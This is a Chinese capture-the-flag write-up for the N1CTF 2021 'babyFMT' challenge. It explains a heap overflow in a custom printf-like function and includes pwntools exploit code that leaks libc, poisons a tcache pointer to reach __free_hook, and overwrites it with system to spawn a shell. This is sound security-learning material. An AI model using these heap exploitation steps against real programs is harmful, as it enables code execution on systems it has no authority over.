n1uctf babyFMT 堆溢出学习记录

阅读量311648

|评论1

|

发布时间 : 2021-12-06 15:30:54

 

n1uctf babyFMT

在做这道题的时候一直以为是格式化字符漏洞,没有发现真正的问题,最后看了官方的wp才明白。

题目给出了libc文件,2.31 ubunt20.04的版本,通过题目名字可以看上去一题应该跟格式化字符串有些关系,检查一下文件的保护措施发现基本上全开,程序加载地址随机,没办法直接写入内存所以需要想办法泄露libc的基地址。

拖入ida分析文件,程序的漏洞点主要在babyprintf,该函数是作者实现的一个类似printf的功能,支持%m %r %%,%m相当于%d,%r则相当于%s,%%只是单纯的将%打印出来,默认行为是将%后面的字符转换成ascii字符打印出来。

而show函数允许我们输入一串格式字符来按照我们的格式输出,后面分别传入 *author,size,*content。虽然我们直接控制了格式字符,然而在babyprintf中没有可以执行写入内存的功能来劫持程序。

{
    memset(v23, 0, 0x100uLL);
    babyprintf("You can show book by yourself\n", a1, a2, a3, a4, v12, v13, a7, a8);
    babyscanf("My format %s ", v23, 256, v14, v15, v16);
    babyprintf(v23, a1, a2, a3, a4, v17, v18, a7, a8, list[v22] + 8LL, *list[v22], list[v22] + 24LL);
    babyprintf("Success!", a1, a2, a3, a4, v19, v20, a7, a8);
  }

实际上真正的漏洞在于babyprintf函数中,先通过strlen判断格式字符的长度并申请一块内存作为buf,strlen遇到’\x00’会截断,但是babyprintf会继续将’\x00’后面的字符串复制到buf中,造成堆溢出。

v12 = strlen(a1);
if ( *a1 )
  {
    v13 = a1;
    v14 = *a1;
    do
    {
      if ( v14 == '%' )
        v12 += 16;                              // 一个% 长度+16
      v14 = *++v13;
    }
    while ( v14 );
    v15 = malloc(v12);
  }

题目给出的glibc版本是2.31,似乎glibc<2.32的版本都可以通过unsorted泄露libc地址,本地测试glibc2.32官方版没有泄露地址 chunk在malloc的时候被置0了。让chunk进入unsorted有两种办法,一是 tcache每种大小的chunk默认容纳7个,超出会放到unsorted bins;二是 tcache entries数组最大默认是64个元素,也就是64*16=1024。所以这里我们可以直接申请大于0x400的chunk就会进入unsroted。

typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];   //每个bins容纳的chunk的数量,默认是7个
  tcache_entry *entries[TCACHE_MAX_BINS]; //容纳64个bins 最大0x400
} tcache_perthread_struct;

//libc中大小转idx的宏,因此idx最大为64*MALLOC_ALIGNMENT
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

申请一个0x450的内存 free此内存进行释放,chunk进入unsorted此时chunk的fd和bk指针都指向main_arena,再malloc回来chunk中的信息不会清空,直接使用程序的show功能打印出泄露地址,得到地址我们就能根据偏移算出libc的加载地址。

获得libc地址后我们就可以通过babyprintf的堆溢出漏洞 来覆盖相邻的下一个chunk的fd地址来达到malloc任意地址的目的。

首先通过调试观察发现:程序开始执行tcache中已经有了两个chunk,这是程序调用babyprintf打印开始menu菜单申请的buf,可以看到出两个chunk是相邻的,而我们刚刚用来泄露内存申请的空间和0x20这个chunk的是相邻的chunk,因为malloc申请内存是挨着申请的。我们构造一个’%\x00aaaaaa….’这样的字符串给show函数,因为\x00截断show函数会从内存申请17字节的空间,而0x20的这个chunk满足请求的大小被返回给show函数,\x00后面的字符串溢出到相邻下一个chunk。

add(0x450,b'admin',b'a')#0
add(0x100,b'123',b'123')#1   
free(0)
add(0x50,b'',b'aaaaaa')#0     //0x50 会直接从unsroted 0x450的chunk进行分割,所以依然和0x20这个chunk相邻
show(0,b'AAAA%rBBBB')
p.recvuntil('AAAA')
libc.address = u64(p.recvuntil("BBBB",drop=True)+b"\x00\x00")-0x1ebfe0
add(0x50,b'',b'aaaaaa')#2    //这里add 0x50然后free为了构造链表
free(2)
free(0)

show(1,b'%\x00'+cyclic(32)+p64(libc.sym['__free_hook']-0x10))  #溢出覆盖下个chunk的fd

现在0x50的链表的结构是这个样子(因为程序会自动加上24字节的空间来保存author还有大小信息,所以这里申请的大小是0x70),链表指向下一个chunk的指针指向了__free_hook 的地址减去0x10,再申请两次0x50大小的内存会直接malloc到我们构造的地方。

而这里减去0x10是因为add()函数会往后偏移8个字节再写入我们输入的内容,减去16使add正好将地址写入到free_hook指针的位置

如果我们直接覆盖为__free_hook – 8,经过调试发现babyscanf 有一条判断 如果输入的字符二进制等于0x20直接结束输入,而2.31版本的 free_hook地址正好为0x28,导致直接输入结束。所以直接再偏移一个8字节防止程序直接结束。

最后直接调用add将system的地址覆盖free_hook,再调用任意使用了free的函数getshell

add(0x50,p64(libc.sym['system'])*2,b'aaaaaaaa')
add(0x50,p64(libc.sym['system'])*2,b'aaaaa')
show(1,b'/bin/sh\x00')
p.interactive()

 

参考链接

n1ctf-2021/Pwn/babyFMT at main · Nu1LCTF/n1ctf-2021 (github.com)

本文由欧小猪原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/260895

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
欧小猪
分享到:微信

发表评论

欧小猪

欧小猪。

  • 文章
  • 3
  • 粉丝
  • 2

TA的文章

热门推荐

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66